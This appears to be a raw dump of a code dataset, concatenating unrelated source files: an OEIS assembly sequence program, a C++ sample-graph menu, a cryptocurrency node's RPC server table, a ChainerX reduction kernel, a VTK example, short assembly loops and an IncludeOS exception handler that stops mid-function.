text stringlengths 1 1.05M |
|---|
; A169231: Number of reduced words of length n in Coxeter group on 26 generators S_i with relations (S_i)^2 = (S_i S_j)^28 = I.
; 1,26,650,16250,406250,10156250,253906250,6347656250,158691406250,3967285156250,99182128906250,2479553222656250,61988830566406250,1549720764160156250,38743019104003906250,968575477600097656250
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,25
lpe
mov $0,$2
div $0,25
|
#include <iostream>
using namespace std;
#include "graph.h"
#include "tools.h"
// SeneGraph program
int main() {
int noOfSamples = 0;
int samples[MAX_NO_OF_SAMPLES] = { 0 };
bool done = false;
cout << "Welcome to SeneGraph" << endl;
while (!done) {
cout << "No Of Samples: " << noOfSamples << endl;
switch (menu()) {
case 1:
cout << "Enter number of samples on hand: ";
noOfSamples = getInt(1, MAX_NO_OF_SAMPLES);
break;
case 2:
if (noOfSamples == 0) {
cout << "First enter the number of Samples." << endl;
}
else {
cout << "Please enter the sample values: " << endl;
getSamples(samples, noOfSamples);
}
break;
case 3:
if (noOfSamples == 0) {
cout << "First enter the number of Samples." << endl;
}
else if (samples[0] == 0) {
cout << "Firt enter the samples." << endl;
}
else {
printGraph(samples, noOfSamples);
}
break;
case 0:
cout << "Thanks for using SeneGraph" << endl;
done = true;
}
}
return 0;
}
|
//#include "DXGlobal.h"
#include "LogFile.h"
namespace ri
{
FILE *LogFile::mpFile = NULL;
} // namespace ri |
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The GoCoinMe developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "rpcserver.h"
#include "base58.h"
#include "init.h"
#include "main.h"
#include "random.h"
#include "sync.h"
#include "ui_interface.h"
#include "util.h"
#include "utilstrencodings.h"
#include <boost/bind.hpp>
#include <boost/filesystem.hpp>
#include <boost/foreach.hpp>
#include <boost/iostreams/concepts.hpp>
#include <boost/iostreams/stream.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/signals2/signal.hpp>
#include <boost/thread.hpp>
#include <boost/algorithm/string/case_conv.hpp> // for to_upper()
#include <univalue.h>
using namespace RPCServer;
using namespace std;
static bool fRPCRunning = false;
static bool fRPCInWarmup = true;
static std::string rpcWarmupStatus("RPC server started");
static CCriticalSection cs_rpcWarmup;
/* Timer-creating functions */
static std::vector<RPCTimerInterface*> timerInterfaces;
/* Map of name to timer.
* @note Can be changed to std::unique_ptr when C++11 */
static std::map<std::string, boost::shared_ptr<RPCTimerBase> > deadlineTimers;
static struct CRPCSignals
{
boost::signals2::signal<void ()> Started;
boost::signals2::signal<void ()> Stopped;
boost::signals2::signal<void (const CRPCCommand&)> PreCommand;
boost::signals2::signal<void (const CRPCCommand&)> PostCommand;
} g_rpcSignals;
void RPCServer::OnStarted(boost::function<void ()> slot)
{
g_rpcSignals.Started.connect(slot);
}
void RPCServer::OnStopped(boost::function<void ()> slot)
{
g_rpcSignals.Stopped.connect(slot);
}
void RPCServer::OnPreCommand(boost::function<void (const CRPCCommand&)> slot)
{
g_rpcSignals.PreCommand.connect(boost::bind(slot, _1));
}
void RPCServer::OnPostCommand(boost::function<void (const CRPCCommand&)> slot)
{
g_rpcSignals.PostCommand.connect(boost::bind(slot, _1));
}
void RPCTypeCheck(const UniValue& params,
const list<UniValue::VType>& typesExpected,
bool fAllowNull)
{
unsigned int i = 0;
BOOST_FOREACH(UniValue::VType t, typesExpected) {
if (params.size() <= i)
break;
const UniValue& v = params[i];
if (!((v.type() == t) || (fAllowNull && (v.isNull())))) {
string err = strprintf("Expected type %s, got %s",
uvTypeName(t), uvTypeName(v.type()));
throw JSONRPCError(RPC_TYPE_ERROR, err);
}
i++;
}
}
void RPCTypeCheckObj(const UniValue& o,
const map<string, UniValue::VType>& typesExpected,
bool fAllowNull)
{
BOOST_FOREACH(const PAIRTYPE(string, UniValue::VType)& t, typesExpected) {
const UniValue& v = find_value(o, t.first);
if (!fAllowNull && v.isNull())
throw JSONRPCError(RPC_TYPE_ERROR, strprintf("Missing %s", t.first));
if (!((v.type() == t.second) || (fAllowNull && (v.isNull())))) {
string err = strprintf("Expected type %s for %s, got %s",
uvTypeName(t.second), t.first, uvTypeName(v.type()));
throw JSONRPCError(RPC_TYPE_ERROR, err);
}
}
}
static inline int64_t roundint64(double d)
{
return (int64_t)(d > 0 ? d + 0.5 : d - 0.5);
}
CAmount AmountFromValue(const UniValue& value)
{
double dAmount = value.get_real();
if (dAmount <= 0.0 || dAmount > 21000000.0)
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount");
CAmount nAmount = roundint64(dAmount * COIN);
if (!MoneyRange(nAmount))
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount");
return nAmount;
}
UniValue ValueFromAmount(const CAmount& amount)
{
bool sign = amount < 0;
int64_t n_abs = (sign ? -amount : amount);
int64_t quotient = n_abs / COIN;
int64_t remainder = n_abs % COIN;
return UniValue(UniValue::VNUM,
strprintf("%s%d.%08d", sign ? "-" : "", quotient, remainder));
}
uint256 ParseHashV(const UniValue& v, string strName)
{
string strHex;
if (v.isStr())
strHex = v.get_str();
if (!IsHex(strHex)) // Note: IsHex("") is false
throw JSONRPCError(RPC_INVALID_PARAMETER, strName + " must be hexadecimal string (not '" + strHex + "')");
uint256 result;
result.SetHex(strHex);
return result;
}
uint256 ParseHashO(const UniValue& o, string strKey)
{
return ParseHashV(find_value(o, strKey), strKey);
}
vector<unsigned char> ParseHexV(const UniValue& v, string strName)
{
string strHex;
if (v.isStr())
strHex = v.get_str();
if (!IsHex(strHex))
throw JSONRPCError(RPC_INVALID_PARAMETER, strName + " must be hexadecimal string (not '" + strHex + "')");
return ParseHex(strHex);
}
vector<unsigned char> ParseHexO(const UniValue& o, string strKey)
{
return ParseHexV(find_value(o, strKey), strKey);
}
int ParseInt(const UniValue& o, string strKey)
{
const UniValue& v = find_value(o, strKey);
if (v.isNum())
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, " + strKey + "is not an int");
return v.get_int();
}
bool ParseBool(const UniValue& o, string strKey)
{
const UniValue& v = find_value(o, strKey);
if (v.isBool())
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, " + strKey + "is not a bool");
return v.get_bool();
}
/**
* Note: This interface may still be subject to change.
*/
string CRPCTable::help(string strCommand) const
{
string strRet;
string category;
set<rpcfn_type> setDone;
vector<pair<string, const CRPCCommand*> > vCommands;
for (map<string, const CRPCCommand*>::const_iterator mi = mapCommands.begin(); mi != mapCommands.end(); ++mi)
vCommands.push_back(make_pair(mi->second->category + mi->first, mi->second));
sort(vCommands.begin(), vCommands.end());
BOOST_FOREACH (const PAIRTYPE(string, const CRPCCommand*) & command, vCommands) {
const CRPCCommand* pcmd = command.second;
string strMethod = pcmd->name;
// We already filter duplicates, but these deprecated screw up the sort order
if (strMethod.find("label") != string::npos)
continue;
if ((strCommand != "" || pcmd->category == "hidden") && strMethod != strCommand)
continue;
#ifdef ENABLE_WALLET
if (pcmd->reqWallet && !pwalletMain)
continue;
#endif
try {
UniValue params;
rpcfn_type pfn = pcmd->actor;
if (setDone.insert(pfn).second)
(*pfn)(params, true);
} catch (std::exception& e) {
// Help text is returned in an exception
string strHelp = string(e.what());
if (strCommand == "") {
if (strHelp.find('\n') != string::npos)
strHelp = strHelp.substr(0, strHelp.find('\n'));
if (category != pcmd->category) {
if (!category.empty())
strRet += "\n";
category = pcmd->category;
string firstLetter = category.substr(0, 1);
boost::to_upper(firstLetter);
strRet += "== " + firstLetter + category.substr(1) + " ==\n";
}
}
strRet += strHelp + "\n";
}
}
if (strRet == "")
strRet = strprintf("help: unknown command: %s\n", strCommand);
strRet = strRet.substr(0, strRet.size() - 1);
return strRet;
}
UniValue help(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"help ( \"command\" )\n"
"\nList all commands, or get help for a specified command.\n"
"\nArguments:\n"
"1. \"command\" (string, optional) The command to get help on\n"
"\nResult:\n"
"\"text\" (string) The help text\n");
string strCommand;
if (params.size() > 0)
strCommand = params[0].get_str();
return tableRPC.help(strCommand);
}
UniValue stop(const UniValue& params, bool fHelp)
{
// Accept the deprecated and ignored 'detach' boolean argument
if (fHelp || params.size() > 1)
throw runtime_error(
"stop\n"
"\nStop GoCoinMe server.");
// Event loop will exit after current HTTP requests have been handled, so
// this reply will get back to the client.
StartShutdown();
return "GoCoinMe server stopping";
}
/**
* Call Table
*/
static const CRPCCommand vRPCCommands[] =
{
// category name actor (function) okSafeMode threadSafe reqWallet
// --------------------- ------------------------ ----------------------- ---------- ---------- ---------
/* Overall control/query calls */
{"control", "getinfo", &getinfo, true, false, false}, /* uses wallet if enabled */
{"control", "help", &help, true, true, false},
{"control", "stop", &stop, true, true, false},
/* P2P networking */
{"network", "getnetworkinfo", &getnetworkinfo, true, false, false},
{"network", "addnode", &addnode, true, true, false},
{"network", "disconnectnode", &disconnectnode, true, true, false},
{"network", "getaddednodeinfo", &getaddednodeinfo, true, true, false},
{"network", "getconnectioncount", &getconnectioncount, true, false, false},
{"network", "getnettotals", &getnettotals, true, true, false},
{"network", "getpeerinfo", &getpeerinfo, true, false, false},
{"network", "ping", &ping, true, false, false},
{"network", "setban", &setban, true, false, false},
{"network", "listbanned", &listbanned, true, false, false},
{"network", "clearbanned", &clearbanned, true, false, false},
/* Block chain and UTXO */
{"blockchain", "findserial", &findserial, true, false, false},
{"blockchain", "getblockchaininfo", &getblockchaininfo, true, false, false},
{"blockchain", "getbestblockhash", &getbestblockhash, true, false, false},
{"blockchain", "getblockcount", &getblockcount, true, false, false},
{"blockchain", "getblock", &getblock, true, false, false},
{"blockchain", "getblockhash", &getblockhash, true, false, false},
{"blockchain", "getblockheader", &getblockheader, false, false, false},
{"blockchain", "getchaintips", &getchaintips, true, false, false},
{"blockchain", "getdifficulty", &getdifficulty, true, false, false},
{"blockchain", "getfeeinfo", &getfeeinfo, true, false, false},
{"blockchain", "getinvalid", &getinvalid, true, true, false},
{"blockchain", "getmempoolinfo", &getmempoolinfo, true, true, false},
{"blockchain", "getrawmempool", &getrawmempool, true, false, false},
{"blockchain", "gettxout", &gettxout, true, false, false},
{"blockchain", "gettxoutsetinfo", &gettxoutsetinfo, true, false, false},
{"blockchain", "invalidateblock", &invalidateblock, true, true, false},
{"blockchain", "reconsiderblock", &reconsiderblock, true, true, false},
{"blockchain", "verifychain", &verifychain, true, false, false},
/* Mining */
{"mining", "getblocktemplate", &getblocktemplate, true, false, false},
{"mining", "getmininginfo", &getmininginfo, true, false, false},
{"mining", "getnetworkhashps", &getnetworkhashps, true, false, false},
{"mining", "prioritisetransaction", &prioritisetransaction, true, false, false},
{"mining", "submitblock", &submitblock, true, true, false},
{"mining", "reservebalance", &reservebalance, true, true, false},
#ifdef ENABLE_WALLET
/* Coin generation */
{"generating", "getgenerate", &getgenerate, true, false, false},
{"generating", "gethashespersec", &gethashespersec, true, false, false},
{"generating", "setgenerate", &setgenerate, true, true, false},
#endif
/* Raw transactions */
{"rawtransactions", "createrawtransaction", &createrawtransaction, true, false, false},
{"rawtransactions", "decoderawtransaction", &decoderawtransaction, true, false, false},
{"rawtransactions", "decodescript", &decodescript, true, false, false},
{"rawtransactions", "getrawtransaction", &getrawtransaction, true, false, false},
{"rawtransactions", "sendrawtransaction", &sendrawtransaction, false, false, false},
{"rawtransactions", "signrawtransaction", &signrawtransaction, false, false, false}, /* uses wallet if enabled */
/* Utility functions */
{"util", "createmultisig", &createmultisig, true, true, false},
{"util", "validateaddress", &validateaddress, true, false, false}, /* uses wallet if enabled */
{"util", "verifymessage", &verifymessage, true, false, false},
{"util", "estimatefee", &estimatefee, true, true, false},
{"util", "estimatepriority", &estimatepriority, true, true, false},
/* Not shown in help */
{"hidden", "invalidateblock", &invalidateblock, true, true, false},
{"hidden", "reconsiderblock", &reconsiderblock, true, true, false},
{"hidden", "setmocktime", &setmocktime, true, false, false},
/* GoCoinMe features */
{"gocoinme", "masternode", &masternode, true, true, false},
{"gocoinme", "listmasternodes", &listmasternodes, true, true, false},
{"gocoinme", "getmasternodecount", &getmasternodecount, true, true, false},
{"gocoinme", "masternodeconnect", &masternodeconnect, true, true, false},
{"gocoinme", "masternodecurrent", &masternodecurrent, true, true, false},
{"gocoinme", "masternodedebug", &masternodedebug, true, true, false},
{"gocoinme", "startmasternode", &startmasternode, true, true, false},
{"gocoinme", "createmasternodekey", &createmasternodekey, true, true, false},
{"gocoinme", "getmasternodeoutputs", &getmasternodeoutputs, true, true, false},
{"gocoinme", "listmasternodeconf", &listmasternodeconf, true, true, false},
{"gocoinme", "getmasternodestatus", &getmasternodestatus, true, true, false},
{"gocoinme", "getmasternodewinners", &getmasternodewinners, true, true, false},
{"gocoinme", "getmasternodescores", &getmasternodescores, true, true, false},
{"gocoinme", "mnbudget", &mnbudget, true, true, false},
{"gocoinme", "preparebudget", &preparebudget, true, true, false},
{"gocoinme", "submitbudget", &submitbudget, true, true, false},
{"gocoinme", "mnbudgetvote", &mnbudgetvote, true, true, false},
{"gocoinme", "getbudgetvotes", &getbudgetvotes, true, true, false},
{"gocoinme", "getnextsuperblock", &getnextsuperblock, true, true, false},
{"gocoinme", "getbudgetprojection", &getbudgetprojection, true, true, false},
{"gocoinme", "getbudgetinfo", &getbudgetinfo, true, true, false},
{"gocoinme", "mnbudgetrawvote", &mnbudgetrawvote, true, true, false},
{"gocoinme", "mnfinalbudget", &mnfinalbudget, true, true, false},
{"gocoinme", "checkbudgets", &checkbudgets, true, true, false},
{"gocoinme", "mnsync", &mnsync, true, true, false},
{"gocoinme", "spork", &spork, true, true, false},
{"gocoinme", "getpoolinfo", &getpoolinfo, true, true, false},
#ifdef ENABLE_WALLET
{"gocoinme", "obfuscation", &obfuscation, false, false, true}, /* not threadSafe because of SendMoney */
/* Wallet */
{"wallet", "addmultisigaddress", &addmultisigaddress, true, false, true},
{"wallet", "autocombinerewards", &autocombinerewards, false, false, true},
{"wallet", "backupwallet", &backupwallet, true, false, true},
{"wallet", "dumpprivkey", &dumpprivkey, true, false, true},
{"wallet", "dumpwallet", &dumpwallet, true, false, true},
{"wallet", "bip38encrypt", &bip38encrypt, true, false, true},
{"wallet", "bip38decrypt", &bip38decrypt, true, false, true},
{"wallet", "encryptwallet", &encryptwallet, true, false, true},
{"wallet", "getaccountaddress", &getaccountaddress, true, false, true},
{"wallet", "getaccount", &getaccount, true, false, true},
{"wallet", "getaddressesbyaccount", &getaddressesbyaccount, true, false, true},
{"wallet", "getbalance", &getbalance, false, false, true},
{"wallet", "getnewaddress", &getnewaddress, true, false, true},
{"wallet", "getrawchangeaddress", &getrawchangeaddress, true, false, true},
{"wallet", "getreceivedbyaccount", &getreceivedbyaccount, false, false, true},
{"wallet", "getreceivedbyaddress", &getreceivedbyaddress, false, false, true},
{"wallet", "getstakingstatus", &getstakingstatus, false, false, true},
{"wallet", "getstakesplitthreshold", &getstakesplitthreshold, false, false, true},
{"wallet", "gettransaction", &gettransaction, false, false, true},
{"wallet", "getunconfirmedbalance", &getunconfirmedbalance, false, false, true},
{"wallet", "getwalletinfo", &getwalletinfo, false, false, true},
{"wallet", "importprivkey", &importprivkey, true, false, true},
{"wallet", "importwallet", &importwallet, true, false, true},
{"wallet", "importaddress", &importaddress, true, false, true},
{"wallet", "keypoolrefill", &keypoolrefill, true, false, true},
{"wallet", "listaccounts", &listaccounts, false, false, true},
{"wallet", "listaddressgroupings", &listaddressgroupings, false, false, true},
{"wallet", "listlockunspent", &listlockunspent, false, false, true},
{"wallet", "listreceivedbyaccount", &listreceivedbyaccount, false, false, true},
{"wallet", "listreceivedbyaddress", &listreceivedbyaddress, false, false, true},
{"wallet", "listsinceblock", &listsinceblock, false, false, true},
{"wallet", "listtransactions", &listtransactions, false, false, true},
{"wallet", "listunspent", &listunspent, false, false, true},
{"wallet", "lockunspent", &lockunspent, true, false, true},
{"wallet", "move", &movecmd, false, false, true},
{"wallet", "multisend", &multisend, false, false, true},
{"wallet", "sendfrom", &sendfrom, false, false, true},
{"wallet", "sendmany", &sendmany, false, false, true},
{"wallet", "sendtoaddress", &sendtoaddress, false, false, true},
{"wallet", "sendtoaddressix", &sendtoaddressix, false, false, true},
{"wallet", "setaccount", &setaccount, true, false, true},
{"wallet", "setstakesplitthreshold", &setstakesplitthreshold, false, false, true},
{"wallet", "settxfee", &settxfee, true, false, true},
{"wallet", "signmessage", &signmessage, true, false, true},
{"wallet", "walletlock", &walletlock, true, false, true},
{"wallet", "walletpassphrasechange", &walletpassphrasechange, true, false, true},
{"wallet", "walletpassphrase", &walletpassphrase, true, false, true},
{"zerocoin", "getzerocoinbalance", &getzerocoinbalance, false, false, true},
{"zerocoin", "listmintedzerocoins", &listmintedzerocoins, false, false, true},
{"zerocoin", "listspentzerocoins", &listspentzerocoins, false, false, true},
{"zerocoin", "listzerocoinamounts", &listzerocoinamounts, false, false, true},
{"zerocoin", "mintzerocoin", &mintzerocoin, false, false, true},
{"zerocoin", "spendzerocoin", &spendzerocoin, false, false, true},
{"zerocoin", "resetmintzerocoin", &resetmintzerocoin, false, false, true},
{"zerocoin", "resetspentzerocoin", &resetspentzerocoin, false, false, true},
{"zerocoin", "getarchivedzerocoin", &getarchivedzerocoin, false, false, true},
{"zerocoin", "importzerocoins", &importzerocoins, false, false, true},
{"zerocoin", "exportzerocoins", &exportzerocoins, false, false, true},
{"zerocoin", "reconsiderzerocoins", &reconsiderzerocoins, false, false, true},
{"zerocoin", "getspentzerocoinamount", &getspentzerocoinamount, false, false, false}
#endif // ENABLE_WALLET
};
CRPCTable::CRPCTable()
{
unsigned int vcidx;
for (vcidx = 0; vcidx < (sizeof(vRPCCommands) / sizeof(vRPCCommands[0])); vcidx++) {
const CRPCCommand* pcmd;
pcmd = &vRPCCommands[vcidx];
mapCommands[pcmd->name] = pcmd;
}
}
const CRPCCommand *CRPCTable::operator[](const std::string &name) const
{
map<string, const CRPCCommand*>::const_iterator it = mapCommands.find(name);
if (it == mapCommands.end())
return NULL;
return (*it).second;
}
bool StartRPC()
{
LogPrint("rpc", "Starting RPC\n");
fRPCRunning = true;
g_rpcSignals.Started();
return true;
}
void InterruptRPC()
{
LogPrint("rpc", "Interrupting RPC\n");
// Interrupt e.g. running longpolls
fRPCRunning = false;
}
void StopRPC()
{
LogPrint("rpc", "Stopping RPC\n");
deadlineTimers.clear();
g_rpcSignals.Stopped();
}
bool IsRPCRunning()
{
return fRPCRunning;
}
void SetRPCWarmupStatus(const std::string& newStatus)
{
LOCK(cs_rpcWarmup);
rpcWarmupStatus = newStatus;
}
void SetRPCWarmupFinished()
{
LOCK(cs_rpcWarmup);
assert(fRPCInWarmup);
fRPCInWarmup = false;
}
bool RPCIsInWarmup(std::string* outStatus)
{
LOCK(cs_rpcWarmup);
if (outStatus)
*outStatus = rpcWarmupStatus;
return fRPCInWarmup;
}
void JSONRequest::parse(const UniValue& valRequest)
{
// Parse request
if (!valRequest.isObject())
throw JSONRPCError(RPC_INVALID_REQUEST, "Invalid Request object");
const UniValue& request = valRequest.get_obj();
// Parse id now so errors from here on will have the id
id = find_value(request, "id");
// Parse method
UniValue valMethod = find_value(request, "method");
if (valMethod.isNull())
throw JSONRPCError(RPC_INVALID_REQUEST, "Missing method");
if (!valMethod.isStr())
throw JSONRPCError(RPC_INVALID_REQUEST, "Method must be a string");
strMethod = valMethod.get_str();
if (strMethod != "getblocktemplate")
LogPrint("rpc", "ThreadRPCServer method=%s\n", SanitizeString(strMethod));
// Parse params
UniValue valParams = find_value(request, "params");
if (valParams.isArray())
params = valParams.get_array();
else if (valParams.isNull())
params = UniValue(UniValue::VARR);
else
throw JSONRPCError(RPC_INVALID_REQUEST, "Params must be an array");
}
static UniValue JSONRPCExecOne(const UniValue& req)
{
UniValue rpc_result(UniValue::VOBJ);
JSONRequest jreq;
try {
jreq.parse(req);
UniValue result = tableRPC.execute(jreq.strMethod, jreq.params);
rpc_result = JSONRPCReplyObj(result, NullUniValue, jreq.id);
} catch (const UniValue& objError) {
rpc_result = JSONRPCReplyObj(NullUniValue, objError, jreq.id);
} catch (std::exception& e) {
rpc_result = JSONRPCReplyObj(NullUniValue,
JSONRPCError(RPC_PARSE_ERROR, e.what()), jreq.id);
}
return rpc_result;
}
std::string JSONRPCExecBatch(const UniValue& vReq)
{
UniValue ret(UniValue::VARR);
for (unsigned int reqIdx = 0; reqIdx < vReq.size(); reqIdx++)
ret.push_back(JSONRPCExecOne(vReq[reqIdx]));
return ret.write() + "\n";
}
UniValue CRPCTable::execute(const std::string &strMethod, const UniValue ¶ms) const
{
// Find method
const CRPCCommand* pcmd = tableRPC[strMethod];
if (!pcmd)
throw JSONRPCError(RPC_METHOD_NOT_FOUND, "Method not found");
g_rpcSignals.PreCommand(*pcmd);
try {
// Execute
return pcmd->actor(params, false);
} catch (std::exception& e) {
throw JSONRPCError(RPC_MISC_ERROR, e.what());
}
g_rpcSignals.PostCommand(*pcmd);
}
std::vector<std::string> CRPCTable::listCommands() const
{
std::vector<std::string> commandList;
typedef std::map<std::string, const CRPCCommand*> commandMap;
std::transform( mapCommands.begin(), mapCommands.end(),
std::back_inserter(commandList),
boost::bind(&commandMap::value_type::first,_1) );
return commandList;
}
std::string HelpExampleCli(string methodname, string args)
{
return "> gocoinme-cli " + methodname + " " + args + "\n";
}
std::string HelpExampleRpc(string methodname, string args)
{
return "> curl --user myusername --data-binary '{\"jsonrpc\": \"1.0\", \"id\":\"curltest\", "
"\"method\": \"" +
methodname + "\", \"params\": [" + args + "] }' -H 'content-type: text/plain;' http://127.0.0.1:51473/\n";
}
void RPCRegisterTimerInterface(RPCTimerInterface *iface)
{
timerInterfaces.push_back(iface);
}
void RPCUnregisterTimerInterface(RPCTimerInterface *iface)
{
std::vector<RPCTimerInterface*>::iterator i = std::find(timerInterfaces.begin(), timerInterfaces.end(), iface);
assert(i != timerInterfaces.end());
timerInterfaces.erase(i);
}
void RPCRunLater(const std::string& name, boost::function<void(void)> func, int64_t nSeconds)
{
if (timerInterfaces.empty())
throw JSONRPCError(RPC_INTERNAL_ERROR, "No timer handler registered for RPC");
deadlineTimers.erase(name);
RPCTimerInterface* timerInterface = timerInterfaces[0];
LogPrint("rpc", "queue run of timer %s in %i seconds (using %s)\n", name, nSeconds, timerInterface->Name());
deadlineTimers.insert(std::make_pair(name, boost::shared_ptr<RPCTimerBase>(timerInterface->NewTimer(func, nSeconds*1000))));
}
const CRPCTable tableRPC;
|
#include "chainerx/reduction_kernel_arg.h"
#include <cstdint>
#include <tuple>
#include "chainerx/array.h"
#include "chainerx/macro.h"
#include "chainerx/shape.h"
#include "chainerx/squash_dims.h"
#include "chainerx/strides.h"
namespace chainerx {
ReductionArg::ReductionArg(const Array& in, const Axes& axis, const Array& out) : in_{in}, out_{out} {
Permute(axis);
Squash();
}
void ReductionArg::Permute(const Axes& axis) {
// True if some axes are reduced but kept in output as 1-dim axes.
// Corresponding to keepdim argument in Array::Sum().
bool has_kept_dims = out_.ndim() + static_cast<int64_t>(axis.size()) != in_.ndim();
// Prepare axis mappings
Axes out_axis_map{}; // Mapping from effective output indices to actual output indices
// (Here "effective output indices" means source indices minus reduction indices.)
// Example (in the case of has_kept_dims=false):
// - in_.shape(): (12, 13, 14, 15, 16)
// - axis: (1, 3)
// - out_.shape(): (12, 14, 16)
// - out_axis_map: (0, 1, 2)
// - out_shape_: (12, 14, 16)
// Example (in the case of has_kept_dims=true):
// - in_.shape(): (12, 13, 14, 15, 16)
// - axis: (1, 3)
// - out_.shape(): (12, 1, 14, 1, 16)
// - out_axis_map: (0, 2, 4)
// - out_shape_: (12, 14, 16)
if (has_kept_dims) {
for (int8_t i : axis) {
if (out_.shape()[i] != 1) {
out_axis_map.emplace_back(i);
}
}
}
{
size_t i_axis = 0;
size_t i_out_axis = 0;
for (int8_t i = 0; i < in_.shape().ndim(); ++i) {
if (i_axis < axis.size() && i == axis[i_axis]) {
// i is to be reduced
++i_axis;
if (has_kept_dims) {
++i_out_axis;
}
} else {
// i is not to be reduced
int64_t out_dim = out_.shape()[i_out_axis];
if (out_dim != 1) {
out_axis_map.emplace_back(static_cast<int8_t>(i_out_axis));
}
++i_out_axis;
}
}
CHAINERX_ASSERT(i_out_axis == out_.shape().size());
CHAINERX_ASSERT(i_axis == axis.size());
}
// Inequality because 1-dim axes are eliminated.
CHAINERX_ASSERT(out_axis_map.size() <= in_.shape().size());
// Calculate source axis permutation
// - in_.shape(): (12, 13, 14, 15, 16)
// - axis: (1, 3)
// - axis_permutes: (1, 3, 0, 2, 4)
// - in_shape_: (13, 15, 12, 14, 16)
Axes axis_permutes{};
for (int8_t i : axis) {
if (in_.shape()[i] != 1) {
axis_permutes.emplace_back(i);
}
}
{
size_t i_reduce = 0;
for (int8_t i = 0; i < in_.ndim(); ++i) {
if (i_reduce < axis.size() && i == axis[i_reduce]) {
++i_reduce;
} else {
if (in_.shape()[i] != 1) {
axis_permutes.emplace_back(i);
}
}
}
}
CHAINERX_ASSERT(axis_permutes.size() <= in_.shape().size()); // Inequality because 1-dim axes are eliminated.
// 1-dim axes must be eliminated
CHAINERX_ASSERT(std::find(in_shape_.begin(), in_shape_.end(), 1) == in_shape_.end());
CHAINERX_ASSERT(std::find(out_shape_.begin(), out_shape_.end(), 1) == out_shape_.end());
in_shape_ = in_.shape().Permute(axis_permutes);
in_strides_ = in_.strides().Permute(axis_permutes);
out_shape_ = out_.shape().Permute(out_axis_map);
out_strides_ = out_.strides().Permute(out_axis_map);
}
// Squashes dimensions of reduction
//
// Example (in the case of a contiguous array):
// - in_shape_: (5, 6, 2, 3, 4)
// - out_shape_: (2, 3, 4)
// - in_squashed_shape: (720)
// - out_squashed_shape: (24)
void ReductionArg::Squash() {
if (CHAINERX_DEBUG) {
CHAINERX_ASSERT(in_shape_.ndim() == in_strides_.ndim());
CHAINERX_ASSERT(out_shape_.ndim() == out_strides_.ndim());
for (int8_t i = -1; i >= -out_shape_.ndim(); --i) {
CHAINERX_ASSERT(in_shape_[in_shape_.ndim() + i] == out_shape_[out_shape_.ndim() + i]);
}
}
// Squash out
std::tuple<Shape, Axes> out_squashed_result = SquashShape(out_shape_, out_strides_);
const Shape& out_squashed_shape = std::get<0>(out_squashed_result);
const Axes& out_keep_axes = std::get<1>(out_squashed_result);
Strides out_squashed_strides = GetSquashedStrides(out_strides_, out_keep_axes);
// Squash in
std::tuple<Shape, Axes> in_squashed_result = SquashShape(in_shape_, in_strides_);
const Shape& in_squashed_shape = std::get<0>(in_squashed_result);
const Axes& in_keep_axes = std::get<1>(in_squashed_result);
Strides in_squashed_strides = GetSquashedStrides(in_strides_, in_keep_axes);
CHAINERX_ASSERT(in_squashed_shape.ndim() == in_squashed_strides.ndim());
CHAINERX_ASSERT(out_squashed_shape.ndim() == out_squashed_strides.ndim());
in_strides_ = in_squashed_strides;
out_strides_ = out_squashed_strides;
in_shape_ = in_squashed_shape;
out_shape_ = out_squashed_shape;
}
} // namespace chainerx
|
#include <vtkSmartPointer.h>
#include <vtkTestPolyDataFilter.h>
int main(int, char *[])
{
vtkSmartPointer<vtkPoints> points =
vtkSmartPointer<vtkPoints>::New();
points->InsertNextPoint(0.0, 0.0, 0.0);
vtkSmartPointer<vtkPolyData> inputPolydata =
vtkSmartPointer<vtkPolyData>::New();
inputPolydata->SetPoints(points);
std::cout << "Input points: " << inputPolydata->GetNumberOfPoints()
<< std::endl;
vtkSmartPointer<vtkTestPolyDataFilter> filter =
vtkSmartPointer<vtkTestPolyDataFilter>::New();
#if VTK_MAJOR_VERSION <= 5
filter->SetInput(inputPolydata);
#else
filter->SetInputData(inputPolydata);
#endif
filter->Update();
vtkPolyData* outputPolydata = filter->GetOutput();
std::cout << "Output points: " << outputPolydata->GetNumberOfPoints()
<< std::endl;
return EXIT_SUCCESS;
}
|
leaw $0, %A
;Mover o que ta em A[0] para D
movw (%A), %D
leaw $1, %A
WHILE:
leaw $1, %A
;Subtrai D - A[1] e salva em D
subw %D, (%A), %D
;Incrementa 1 em %S
incw %S
leaw $WHILE, %A
;Volta se D for maior que zero
jg %D
nop
leaw $2, %A
;Move A[2] -> S
movw %S, (%A)
|
; This file is a part of the IncludeOS unikernel - www.includeos.org
;
; Copyright 2015 Oslo and Akershus University College of Applied Sciences
; and Alfred Bratterud
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
[BITS 64]
extern __cpu_exception
SECTION .bss
__amd64_registers:
resb 8*24
%macro CPU_EXCEPT 1
global __cpu_except_%1:function
__cpu_except_%1:
call save_cpu_regs
;; reveal origin stack frame
push rbp
mov rbp, rsp
;; re-align stack
and rsp, ~0xF
;; enter panic
mov rdi, __amd64_registers
mov rsi, %1
mov rdx, 0
call __cpu_exception
%endmacro
%macro CPU_EXCEPT_CODE 1
global __cpu_except_%1:function
__cpu_except_%1:
call save_cpu_regs
;; pop error code
pop rdx
;; reveal origin stack frame
push rbp
mov rbp, rsp
;; re-align stack
and rsp, ~0xF
;; enter panic
mov rdi, __amd64_registers
mov rsi, %1
call __cpu_exception
%endmacro
SECTION .text
%define regs(r) [__amd64_registers + r]
save_cpu_regs:
mov regs( 0), rax
mov regs( 8), rbx
mov regs(16), rcx
mov regs(24), rdx
mov regs(32), rbp
mov regs(40), r8
mov regs(48), r9
